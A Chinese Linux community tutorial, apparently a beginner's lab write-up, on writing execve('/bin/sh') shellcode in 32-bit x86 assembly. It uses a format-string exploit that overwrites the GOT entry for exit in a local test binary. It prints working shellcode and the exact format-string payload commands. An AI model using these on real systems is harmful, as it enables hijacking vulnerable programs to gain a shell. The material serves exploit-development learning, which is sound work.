手机版
你好,游客 登录 注册 搜索
背景:
阅读新闻

Ubuntu环境下初学编写ShellCode

[日期:2010-12-06] 来源:Linux社区  作者:lotus [字体:大 中 小]
【将0x08049668中的内容改写为SHELLCODE地址:0xbffffc20】
---------------------------------------------
写入策略
0x08049668 0xfc20
0x0804966a 0xbfff
---------------------------------------------
exploit@exploit:~ $ ./fmt $'\x6a\x96\x04\x08\x68\x96\x04\x08'%49143x%8\$hn%15393x%9\$hn
...
Segmentation fault
【貌似是shellcode的问题,检查发现把一个ebx写成ecx了。囧。。改写代码如下】
exploit@exploit:~ $ less exec_shell.s
BITS 32

jmp short one
two:
pop ebx
xor eax,eax
mov [ebx+7],al
mov [ebx+8],ebx
mov [ebx+12],eax
lea ecx,[ebx+8]
lea edx,[ebx+12]
mov al,11
int 0x80

one:
call two
db '/bin/shXAAAABBBB'
然后按上面的步骤操作,可以成功弹出shell
==========================================================
编写更小的shellcode
==========================================================
法1.把辅助字符去掉。'/bin/shXAAAABBBB'可以用'/bin/sh'替换
法2.利用栈,ESP减小代码

Ubuntu环境下初学编写ShellCode

exploit@exploit:~ $ more tiny_shell.s
BITS 32

xor eax,eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
push eax
mov edx,esp
push ebx
mov ecx,esp
mov al,11
int 0x80
exploit@exploit:~ $ export SHELLCODE=$(cat tiny_shell)
exploit@exploit:~ $ ./getenvaddr SHELLCODE ./fmt
SHELLCODE will be at 0xbffffc34
exploit@exploit:~ $ gdb -q
(gdb) p 0xbfff-8
$2 = 49143
(gdb) p 0xfc34-0xbfff
$3 = 15413
(gdb) q
exploit@exploit:~ $ objdump -R ./fmt

./fmt: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049670 R_386_GLOB_DAT __gmon_start__
08049660 R_386_JUMP_SLOT __libc_start_main
08049664 R_386_JUMP_SLOT printf
08049668 R_386_JUMP_SLOT exit
0804966c R_386_JUMP_SLOT strcpy
【将0x08049668中的内容改写为SHELLCODE地址:0xbffffc34】
exploit@exploit:~ $ ./fmt $'\x6a\x96\x04\x08\x68\x96\x04\x08'%49143x%8\$hn%15413x%9\$hn
【it work o(∩_∩)o 】

linux
相关资讯       Ubuntu教程  ShellCode 
本文评论   查看全部评论 (0)
表情: 表情 姓名: 字数

       

评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论
  • 参与本评论即表明您已经阅读并接受上述条款